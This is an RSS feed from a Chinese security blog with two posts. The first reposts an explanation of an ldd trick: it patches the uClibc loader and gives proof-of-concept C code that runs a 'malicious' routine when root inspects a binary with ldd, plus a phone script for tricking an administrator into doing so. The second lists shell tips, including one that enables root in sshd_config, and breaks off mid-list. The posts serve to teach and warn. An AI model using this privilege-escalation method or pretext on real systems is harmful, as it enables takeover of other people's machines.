<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org &#187; 网站防护</title>
	<atom:link href="http://www.0x50sec.org/category/site-defense/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>Focus on web security!</description>
	<lastBuildDate>Fri, 13 Jan 2012 09:23:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>ldd 的一个安全问题</title>
		<link>http://www.0x50sec.org/ldd-%e7%9a%84%e4%b8%80%e4%b8%aa%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98/</link>
		<comments>http://www.0x50sec.org/ldd-%e7%9a%84%e4%b8%80%e4%b8%aa%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98/#comments</comments>
		<pubDate>Fri, 17 Jun 2011 02:37:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[ldd]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[动态链接库]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1117</guid>
		<description><![CDATA[来源：http://coolshell.cn/articles/1626.html 2009年10月28日 陈皓 我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想 像的要危险得多，也许很多黑客通过ldd的安全问题来攻击你的服务器。其实，ldd的安全问题存在很长的时间了，但居然没有被官方文档所记录来下，这听上 去更加难以理解了。怎么？是不是听起来有点不可思议？下面，让我为你细细道来。 首先，我们先来了解一下，我们怎么来使用ldd的，请你看一下下面的几个命令： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 (1) $ ldd /bin/grep linux-gate.so.1 =&#62;  (0xffffe000) libc.so.6 =&#62; /lib/libc.so.6 (0xb7eca000) /lib/ld-linux.so.2 (0xb801e000) (2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep linux-gate.so.1 =&#62;  (0xffffe000) libc.so.6 =&#62; /lib/libc.so.6 (0xb7e30000) /lib/ld-linux.so.2 (0xb7f84000) (3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep linux-gate.so.1 =&#62;  (0xffffe000) [...]]]></description>
			<content:encoded><![CDATA[<p>来源：<em>http://coolshell.cn/articles/1626.html</em></p>
<p><em>2009年10月28日 			陈皓</em></p>
<p>我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想 像的要危险得多，也许很多黑客通过ldd的安全问题来攻击你的服务器。其实，ldd的安全问题存在很长的时间了，但居然没有被官方文档所记录来下，这听上 去更加难以理解了。怎么？是不是听起来有点不可思议？下面，让我为你细细道来。</p>
<p>首先，我们先来了解一下，我们怎么来使用ldd的，请你看一下下面的几个命令：</p>
<div>
<div id="highlighter_49905">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
<div>10</div>
<div>11</div>
<div>12</div>
<div>13</div>
<div>14</div>
</td>
<td>
<div>
<div><code>(1) $ ldd </code><code>/bin/grep</code></div>
<div><code> </code><code>linux-gate.so.1 =&gt;  (0xffffe000)</code></div>
<div><code> </code><code>libc.so.6 =&gt; </code><code>/lib/libc</code><code>.so.6 (0xb7eca000)</code></div>
<div><code> </code><code>/lib/ld-linux</code><code>.so.2 (0xb801e000)</code></div>
<div><code>(2) $ LD_TRACE_LOADED_OBJECTS=1 </code><code>/bin/grep</code></div>
<div><code> </code><code>linux-gate.so.1 =&gt;  (0xffffe000)</code></div>
<div><code> </code><code>libc.so.6 =&gt; </code><code>/lib/libc</code><code>.so.6 (0xb7e30000)</code></div>
<div><code> </code><code>/lib/ld-linux</code><code>.so.2 (0xb7f84000)</code></div>
<div><code>(3) $ LD_TRACE_LOADED_OBJECTS=1 </code><code>/lib/ld-linux</code><code>.so.2 </code><code>/bin/grep</code></div>
<div><code> </code><code>linux-gate.so.1 =&gt;  (0xffffe000)</code></div>
<div><code> </code><code>libc.so.6 =&gt; </code><code>/lib/libc</code><code>.so.6 (0xb7f7c000)</code></div>
<div><code> </code><code>/lib/ld-linux</code><code>.so.2 (0xb80d0000)</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>第(1)个命令，我们运行了 `ldd` 于 `/bin/grep`。我们可以看到命令的输出是我们想要的，那就是 `/bin/grep` 所依赖的动态链接库。</p>
<p>第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量，然后就好像在运行命令 `/bin/grep` (但其实并不是)。 其运行结果和ldd的输出是一样的！</p>
<p>第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ，然后调用了动态链接库 `ld-linux.so` 并把 `/bin/grep` 作为参数传给它。我们发现，其输出结果还是和前面两个一样的。</p>
<p>&nbsp;</p>
<h4>具体发生了什么？</h4>
<p>对于第二个和第三个命令来说，好像是对 `ldd` 的一个包装或是一个隐式调用。对于第二个和第三个命令来说， `/bin/grep`  这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS  被设置了，那么它就不会去执行那个可运行的程序，而去输出这个可执行程序所依赖的动态链接库 （在BSD 系统上的`ldd` 是一个C 程序)。</p>
<p>如果你使用的是Linux，那么，你可以去看看 `ldd` 程序，你会发现这是一个 bash  的脚本。如果你仔细查看这个脚本的源码，你会发现，第二个命令和第三个命令的差别就在于 `ld-linux.so`  装载器是否可以被`ldd`所装载，如果不能，那就是第二个命令，如果而的话，那就是第三个命令。</p>
<p>所以，如果我们可以让`ld-linux.so` 装载器失效的话，或是让别的装载器来取代这个系统默认的动态链接库的话，那么我们就可以让  `ldd`来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量，而是直接运行程序。</p>
<p>例如，你可以创建一个具有恶意的程序，如： ~/app/bin/exec 并且使用他自己的装载器  ~/app/lib/loader.so。如果某人（比如超级用户root） 运行了 `ldd /home/you/app/bin/exec`  ，于是，他就玩完了。因为，那并不会列出所依赖的动态链接库，而是，直接执行你的那个恶意程序，这相当于，那个用户给了你他的授权。</p>
<h4>编译一个新的装载器</h4>
<p>下载 <a href="http://www.uclibc.org/">uClibc</a> C库。这是一个相当漂亮的代码，并且可以非常容易地修改一下源代码，使其忽略LD_TRACE_LOADED_OBJECTS 检查。</p>
<div>
<div id="highlighter_413724">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
</td>
<td>
<div>
<div><code>$ </code><code>mkdir</code> <code>app</code></div>
<div><code>$ </code><code>cd</code> <code>app</code></div>
<div><code>app$ wget </code><code>'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>解压这个包，并执行 `make menuconfig`，选项你的平台架构（比如：i386），剩下的事情保持不变。</p>
<div>
<div id="highlighter_986521">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
</td>
<td>
<div>
<div><code>$ bunzip2 &lt; uClibc-0.9.30.1.</code><code>tar</code><code>.bz2 | </code><code>tar</code> <code>-vx</code></div>
<div><code>$ </code><code>rm</code> <code>-rf uClibc-0.9.30.1.</code><code>tar</code><code>.bz2</code></div>
<div><code>$ </code><code>cd</code> <code>uClibc-0.9.30.1</code></div>
<div><code>$ </code><code>make</code> <code>menuconfig</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>编辑 .config 并设置目标安装目录：到 `/home/you/app/uclibc`，<br />
把下面两行</p>
<div>
<div id="highlighter_719277">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code>RUNTIME_PREFIX=</code><code>"/usr/$(TARGET_ARCH)-linux-uclibc/"</code></div>
<div><code>DEVEL_PREFIX=</code><code>"/usr/$(TARGET_ARCH)-linux-uclibc/usr/"</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>改成</p>
<div>
<div id="highlighter_333263">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code>RUNTIME_PREFIX=</code><code>"/home/you/app/uclibc/"</code></div>
<div><code>DEVEL_PREFIX=</code><code>"/home/you/app/uclibc/usr/"</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p><span id="more-1117"></span>现在你需要改动一下其源代码，让其忽略LD_TRACE_LOADED_OBJECTS 环境变量的检查。  下面是个这修改的diff，你需要修改的是 `ldso/ldso/ldso.c`  文件。你可把下面的这个diff存成一个叫file的文件，然后运行这个命令：`patch -p0 &lt;  file`。如果你不这样做的话，那么，我们的黑客程序就无法工作，而我们的这个装载器还是会认为 `ldd` 想列出动态链接库的文件列表。</p>
<div>
<div id="highlighter_72309">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
<div>10</div>
<div>11</div>
</td>
<td>
<div>
<div><code>--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300</code></div>
<div><code>+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300</code></div>
<div><code>@@ -404,9 +404,11 @@</code></div>
<div><code> </code><code>}  #endif</code></div>
<div><code>+    /*</code></div>
<div><code> </code><code>if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {</code></div>
<div><code> </code><code>trace_loaded_objects++;</code></div>
<div><code> </code><code>}</code></div>
<div><code>+    */</code></div>
<div><code> </code><code>#ifndef __LDSO_LDD_SUPPORT__</code></div>
<div><code> </code><code>if (trace_loaded_objects) {</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>下面让我们来编译并安装它。</p>
<div>
<div id="highlighter_306368">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code>$ </code><code>make</code> <code>-j 4</code></div>
<div><code>$ </code><code>make</code> <code>install</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>于是，我们的 uClibc 装载器就被安装了，并且libc 库指向了 /home/you/app/uclibc. 就这么简单，现在，我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。</p>
<h4>小试 牛刀</h4>
<p>首先，先让我们来创建一个测试程序，这人程序也就是输出些自己的东西，这样可以让我们看到我们的程序被执行了。我们把这个程序放在 `app/bin/`下，叫“myapp.c”，下面是源代码</p>
<div>
<div id="highlighter_88228">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
<div>10</div>
<div>11</div>
<div>12</div>
</td>
<td>
<div>
<div><code>#include &lt;stdio.h&gt;</code></div>
<div><code>#include &lt;stdlib.h&gt;</code></div>
<div><code>int</code> <code>main() {</code></div>
<div><code> </code><code>if</code> <code>(</code><code>getenv</code><code>(</code><code>"LD_TRACE_LOADED_OBJECTS"</code><code>)) {</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"All your things are belong to me.\n"</code><code>);</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>else</code> <code>{</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"Nothing.\n"</code><code>);</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>return</code> <code>0;</code></div>
<div><code>}</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>这是一个很简单的代码了，这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了，如果是，那么恶意程序执行，如果没有，那么程序什么也不发生。</p>
<p>下面是编译程序的命令，，大家可以看到，我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。</p>
<div>
<div id="highlighter_86438">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
</td>
<td>
<div>
<div><code>$ L=</code><code>/home/you/app/uclibc</code></div>
<div><code>$ gcc -Wl,--dynamic-linker,$L</code><code>/lib/ld-uClibc</code><code>.so.0 \</code></div>
<div><code> </code><code>-Wl,-rpath-link,$L</code><code>/lib</code> <code>\</code></div>
<div><code> </code><code>-nostdlib \</code></div>
<div><code> </code><code>myapp.c -o myapp \</code></div>
<div><code> </code><code>$L</code><code>/usr/lib/crt</code><code>*.o \</code></div>
<div><code> </code><code>-L$L</code><code>/usr/lib/</code> <code>\</code></div>
<div><code> </code><code>-lc</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>下面是GCC的各个参数的解释：</p>
<ul>
<li><strong>-Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0</strong> — 指定一个新的装载器。</li>
<li><strong>-Wl,-rpath-link,$L/lib</strong> — 指定一个首要的动态装载器所在的目录，这个目录用于查找动态库。</li>
<li><strong>-nostdlib</strong> — 不使用系统标准库。</li>
<li><strong>myapp.c -o myapp</strong> — 编译myapp.c 成可执行文件 myapp,</li>
<li><strong>$L/usr/lib/crt*.o</strong> — 静态链接runtime 代码</li>
<li><strong>-L$L/usr/lib/</strong> — libc 的目录（静态链接）</li>
<li><strong>-lc</strong> —  C 库</li>
</ul>
<p>现在让我们来运行一下我们的 `myapp` （没有ldd，一切正常）</p>
<div>
<div id="highlighter_903644">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code>app</code><code>/bin</code><code>$ .</code><code>/myapp</code></div>
<div><code>Nothing.</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>LD_TRACE_LOADED_OBJECTS 没有设置，所以输出 “Nothing” 。</p>
<p>现在，让我们来使用 `ldd` 来看看这个程序的最大的影响力，让我们以root身份来干这个事。</p>
<div>
<div id="highlighter_13860">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
</td>
<td>
<div>
<div><code>$ </code><code>su</code></div>
<div><code>Password:</code></div>
<div><code># ldd ./myapp</code></div>
<div><code>All your things are belong to me.</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>哈哈，我们可以看到，ldd触发了我们的恶意代码。于是，我们偷了整个系统！</p>
<h4>邪恶的程序</h4>
<p>下面这个例子更为实际一些，如果没有`ldd` ，那程序程序会报错 “error while loading shared  libraries” ，这个错误信息会引诱你去去使用 `ldd` 去做检查，如果你是root的话，那么就整个系统就玩完了。而当你可以了  `ldd` 后，它会在干完坏事后，模仿正确的`ldd`的输出，告诉你 `libat.so.0` 不存在。</p>
<p>下面的代码仅仅是向你展示了一下整个想法，代码还需加工和改善。</p>
<div>
<div id="highlighter_349643">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
<div>10</div>
<div>11</div>
<div>12</div>
<div>13</div>
<div>14</div>
<div>15</div>
<div>16</div>
<div>17</div>
<div>18</div>
<div>19</div>
<div>20</div>
<div>21</div>
<div>22</div>
<div>23</div>
<div>24</div>
<div>25</div>
<div>26</div>
<div>27</div>
<div>28</div>
<div>29</div>
<div>30</div>
<div>31</div>
<div>32</div>
<div>33</div>
<div>34</div>
<div>35</div>
<div>36</div>
<div>37</div>
<div>38</div>
<div>39</div>
<div>40</div>
<div>41</div>
<div>42</div>
<div>43</div>
<div>44</div>
<div>45</div>
<div>46</div>
<div>47</div>
<div>48</div>
<div>49</div>
<div>50</div>
<div>51</div>
<div>52</div>
</td>
<td>
<div>
<div><code>#include &lt;stdio.h&gt;</code></div>
<div><code>#include &lt;stdlib.h&gt;</code></div>
<div><code>#include &lt;unistd.h&gt;</code></div>
<div><code>#include &lt;sys/types.h&gt;</code></div>
<div><code>/*</code></div>
<div><code>This example pretends to have a fictitious library 'libat.so.0' missing.</code></div>
<div><code>When someone with root permissions runs `ldd this_program`, it does</code></div>
<div><code>something nasty in malicious() function.</code></div>
<div><code>I haven't implemented anything malicious but have written down some ideas</code></div>
<div><code>of what could be done.</code></div>
<div><code>This is, of course, a joke program. To make it look more real, you'd have</code></div>
<div><code>to bump its size, add some more dependencies, simulate trying to open the</code></div>
<div><code>missing library, detect if ran under debugger or strace and do absolutely</code></div>
<div><code>nothing suspicious, etc.</code></div>
<div><code>*/</code></div>
<div><code>void</code> <code>pretend_as_ldd()</code></div>
<div><code>{</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"\tlinux-gate.so.1 =&gt;  (0xffffe000)\n"</code><code>);</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"\tlibat.so.0 =&gt; not found\n"</code><code>);</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"\tlibc.so.6 =&gt; /lib/libc.so.6 (0xb7ec3000)\n"</code><code>);</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"\t/lib/ld-linux.so.2 (0xb8017000)\n"</code><code>);</code></div>
<div><code>}</code></div>
<div><code>void</code> <code>malicious()</code></div>
<div><code>{</code></div>
<div><code> </code><code>if</code> <code>(geteuid() == 0) {</code></div>
<div><code> </code><code>/* we are root ... */</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"poof, all your box are belong to us\n"</code><code>);</code></div>
<div><code> </code><code>/* silently add a new user to /etc/passwd, */</code></div>
<div><code> </code><code>/* or create a suid=0 program that you can later execute, */</code></div>
<div><code> </code><code>/* or do something really nasty */</code></div>
<div><code> </code><code>}</code></div>
<div><code>}</code></div>
<div><code>int</code> <code>main(</code><code>int</code> <code>argc, </code><code>char</code> <code>**argv)</code></div>
<div><code>{</code></div>
<div><code> </code><code>if</code> <code>(</code><code>getenv</code><code>(</code><code>"LD_TRACE_LOADED_OBJECTS"</code><code>)) {</code></div>
<div><code> </code><code>malicious();</code></div>
<div><code> </code><code>pretend_as_ldd();</code></div>
<div><code> </code><code>return</code> <code>0;</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>printf</code><code>(</code><code>"%s: error while loading shared libraries: libat.so.0: "</code></div>
<div><code> </code><code>"cannot open shared object file: No such file or directory\n"</code><code>,</code></div>
<div><code> </code><code>argv[0]);</code></div>
<div><code> </code><code>return</code> <code>127;</code></div>
<div><code>}</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>&nbsp;</p>
<h4>邪恶的电话</h4>
<p>事实上来说，上面的那段程序可能的影响更具破坏性，因为大多数的系统管理员可能并不知道不能使用 `ldd` 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话，让我们看看我们的程序是如何更快地获得系统管理员的权限的。</p>
<p>系统管理员的电话狂响……</p>
<p>系统管理员： “同志你好，我是系统管理员，有什么可以帮你的？”</p>
<p>黑客：“管理员同志你好。我有一个程序不能运行，总是报错，错误好像是说一个系统动态链接库有问题，你能不能帮我看看？”</p>
<p>系统管理员：“没问题，你的那个程序在哪里？”</p>
<p>黑客： “在我的home目录下，/home/hchen/app/bin/myapp”。</p>
<p>系统管理员：“ OK，等一会儿”，黑客在电话这头可以听到一些键盘的敲击声。</p>
<p>系统管理员：“好像是动态链接库的问题，你能告诉我你的程序具体需要什么样的动态链接库吗？”</p>
<p>黑客说: “谢谢，应该没有别的嘛。”</p>
<p>系统管理员：“嗯，查到了，说是没有了 `libat.so.0`这是你自己的动态链接库吗？”</p>
<p>黑客说：“哦，好像是的，你等一下，我看看……” 黑客在那头露出了邪恶的笑，并且，讯速地输入了下面的命令：</p>
<p>`mv ~/.hidden/working_app ~/app/bin/myapp`<br />
`mv ~/.hidden/libat.so.o ~/app/bin/`</p>
<p>黑客说：“哦，对了，的确是我的不对，我忘了把这个链接库拷过来了，现在应该可以了，谢谢你啊，真是不好意思，麻烦你了”</p>
<p>系统管理员： “没事就行了，下次注意啊！”（然后系统管理心里暗骂，TMD，又一个白痴用户！……）</p>
<p><strong>教训一：千万不要使用 `ldd` 去测试你不知道的文件！<br />
教训二：千万不要相信陌生人！</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/ldd-%e7%9a%84%e4%b8%80%e4%b8%aa%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux shell小技巧</title>
		<link>http://www.0x50sec.org/linux-shell%e5%b0%8f%e6%8a%80%e5%b7%a7/</link>
		<comments>http://www.0x50sec.org/linux-shell%e5%b0%8f%e6%8a%80%e5%b7%a7/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 07:14:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=980</guid>
		<description><![CDATA[来源:http://blog.csdn.net/eroswang/archive/2009/07/28/4388837.aspx 1.删除0字节文件 find -type f -size 0 -exec rm -rf {} \; 2.查看进程 按内存从大到小排列 ps -e   -o &#8220;%C   : %p : %z : %a&#8221;&#124;sort -k5 -nr 3.按cpu利用率从大到小排列 ps -e   -o &#8220;%C   : %p : %z : %a&#8221;&#124;sort   -nr 4.打印说cache里的URL grep -r -a   jpg /data/cache/* &#124; strings &#124; grep &#8220;http:&#8221; &#124; awk -F&#8217;http:&#8217; &#8216;{print &#8220;http:&#8221;$2;}&#8217; 5.查看http的并发请求数及其TCP连接状态： [...]]]></description>
			<content:encoded><![CDATA[<p>来源:http://blog.csdn.net/eroswang/archive/2009/07/28/4388837.aspx</p>
<p>1.删除0字节文件<br />
find -type f -size 0 -exec rm -rf {} \;</p>
<p>2.查看进程<br />
按内存从大到小排列<br />
ps -e   -o &#8220;%C   : %p : %z : %a&#8221;|sort -k5 -nr</p>
<p>3.按cpu利用率从大到小排列<br />
ps -e   -o &#8220;%C   : %p : %z : %a&#8221;|sort   -nr</p>
<p>4.打印说cache里的URL<br />
grep -r -a   jpg /data/cache/* | strings | grep &#8220;http:&#8221; | awk -F&#8217;http:&#8217; &#8216;{print &#8220;http:&#8221;$2;}&#8217;</p>
<p>5.查看http的并发请求数及其TCP连接状态：<br />
netstat -n | awk &#8216;/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}&#8217;</p>
<p>6. sed -i &#8216;/Root/s/no/yes/&#8217; /etc/ssh/sshd_config   sed在这个文里Root的一行，匹配Root一行，将no替换成yes.</p>
<p>7.1.如何杀掉mysql进程：<br />
ps aux|grep mysql|grep -v grep|awk &#8216;{print $2}&#8217;|xargs kill -9 (从中了解到awk的用途)</p>
<p>killall -TERM mysqld</p>
<p>kill -9 `cat /usr/local/apache2/logs/httpd.pid`   试试查杀进程PID</p>
<p>8.显示运行3级别开启的服务:<br />
ls /etc/rc3.d/S* |cut -c 15-   (从中了解到cut的用途，截取数据)</p>
<p>9.如何在编写SHELL显示多个信息，用EOF<br />
cat &lt;&lt; EOF<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|       === Welcome to Tunoff services ===                |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
EOF</p>
<p>10. for 的巧用(如给mysql建软链接)<br />
cd /usr/local/mysql/bin<br />
for i in *<br />
do ln /usr/local/mysql/bin/$i /usr/bin/$i<br />
done</p>
<p>11. 取IP地址：<br />
ifconfig eth0 |grep &#8220;inet addr:&#8221; |awk &#8216;{print $2}&#8217;|cut -c 6-   或者</p>
<p>ifconfig   | grep &#8216;inet addr:&#8217;| grep -v &#8217;127.0.0.1&#8242; | cut -d: -f2 | awk &#8216;{ print $1}&#8217;<br />
<span id="more-980"></span><br />
12.内存的大小:<br />
free -m |grep &#8220;Mem&#8221; | awk &#8216;{print $2}&#8217;</p>
<p>13.<br />
netstat -an -t | grep &#8220;:80&#8243; | grep ESTABLISHED | awk &#8216;{printf &#8220;%s %s\n&#8221;,$5,$6}&#8217; | sort</p>
<p>14.查看Apache的并发请求数及其TCP连接状态：<br />
netstat -n | awk &#8216;/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}&#8217;</p>
<p>15.因为同事要统计一下服务器下面所有的jpg的文件的大小,写了个shell给他来统计.原来用xargs实现,但他一次处理一部分,搞的有多个总和&#8230;.,下面的命令就能解决啦.<br />
find / -name *.jpg -exec wc -c {} \;|awk &#8216;{print $1}&#8217;|awk &#8216;{a+=$1}END{print a}&#8217;</p>
<p>CPU的数量（多核算多个CPU，cat /proc/cpuinfo |grep -c processor）越多，系统负载越低，每秒能处理的请求数也越多。</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
16   CPU负载   # cat /proc/loadavg<br />
检查前三个输出值是否超过了系统逻辑CPU的4倍。</p>
<p>18   CPU负载   #mpstat 1 1<br />
检查%idle是否过低(比如小于5%)</p>
<p>19   内存空间   # free<br />
检查free值是否过低   也可以用 # cat /proc/meminfo</p>
<p>20   swap空间   # free<br />
检查swap used值是否过高   如果swap used值过高，进一步检查swap动作是否频繁：<br />
# vmstat 1 5<br />
观察si和so值是否较大</p>
<p>21   磁盘空间   # df -h<br />
检查是否有分区使用率(Use%)过高(比如超过90%)   如发现某个分区空间接近用尽，可以进入该分区的挂载点，用以下命令找出占用空间最多的文件或目录：<br />
# du -cks * | sort -rn | head -n 10</p>
<p>22   磁盘I/O负载   # iostat -x 1 2<br />
检查I/O使用率(%util)是否超过100%</p>
<p>23   网络负载   # sar -n DEV<br />
检查网络流量(rxbyt/s, txbyt/s)是否过高</p>
<p>24   网络错误   # netstat -i<br />
检查是否有网络错误(drop fifo colls carrier)   也可以用命令：# cat /proc/net/dev</p>
<p>25 网络连接数目   # netstat -an | grep -E “^(tcp)” | cut -c 68- | sort | uniq -c | sort -n</p>
<p>26   进程总数   # ps aux | wc -l<br />
检查进程个数是否正常 (比如超过250)</p>
<p>27   可运行进程数目   # vmwtat 1 5<br />
列给出的是可运行进程的数目，检查其是否超过系统逻辑CPU的4倍</p>
<p>28   进程   # top -id 1<br />
观察是否有异常进程出现</p>
<p>29   网络状态   检查DNS, 网关等是否可以正常连通</p>
<p>30   用户   # who | wc -l<br />
检查登录用户是否过多 (比如超过50个)   也可以用命令：# uptime</p>
<p>31   系统日志   # cat /var/log/rflogview/*errors<br />
检查是否有异常错误记录   也可以搜寻一些异常关键字，例如：<br />
# grep -i error /var/log/messages<br />
# grep -i fail /var/log/messages</p>
<p>32   核心日志   # dmesg<br />
检查是否有异常错误记录</p>
<p>33   系统时间   # date<br />
检查系统时间是否正确</p>
<p>34   打开文件数目   # lsof | wc -l<br />
检查打开文件总数是否过多</p>
<p>35   日志   # logwatch –print   配置/etc/log.d/logwatch.conf，将 Mailto 设置为自己的email 地址，启动mail服务 (sendmail或者postfix)，这样就可以每天收到日志报告了。<br />
缺省logwatch只报告昨天的日志，可以用# logwatch –print –range all 获得所有的日志分析结果。<br />
可以用# logwatch –print –detail high 获得更具体的日志分析结果(而不仅仅是出错日志)。</p>
<p>36.杀掉80端口相关的进程<br />
lsof -i :80|grep -v &#8220;PID&#8221;|awk &#8216;{print &#8220;kill -9&#8243;,$2}&#8217;|sh</p>
<p>37.清除僵死进程。<br />
ps -eal | awk &#8216;{ if ($2 == &#8220;Z&#8221;) {print $4}}&#8217; | kill -9</p>
<p>38.tcpdump 抓包 ，用来防止80端口被人攻击时可以分析数据<br />
# tcpdump -c 10000 -i eth0 -n dst port 80 &gt; /root/pkts</p>
<p>39.然后检查IP的重复数 并从小到大排序 注意 &#8220;-t\ +0&#8243;   中间是两个空格<br />
# less pkts | awk {&#8216;printf $3&#8243;\n&#8221;&#8216;} | cut -d. -f 1-4 | sort | uniq -c | awk {&#8216;printf $1&#8243; &#8220;$2&#8243;\n&#8221;&#8216;} | sort -n -t\ +0</p>
<p>40.查看有多少个活动的php-cgi进程<br />
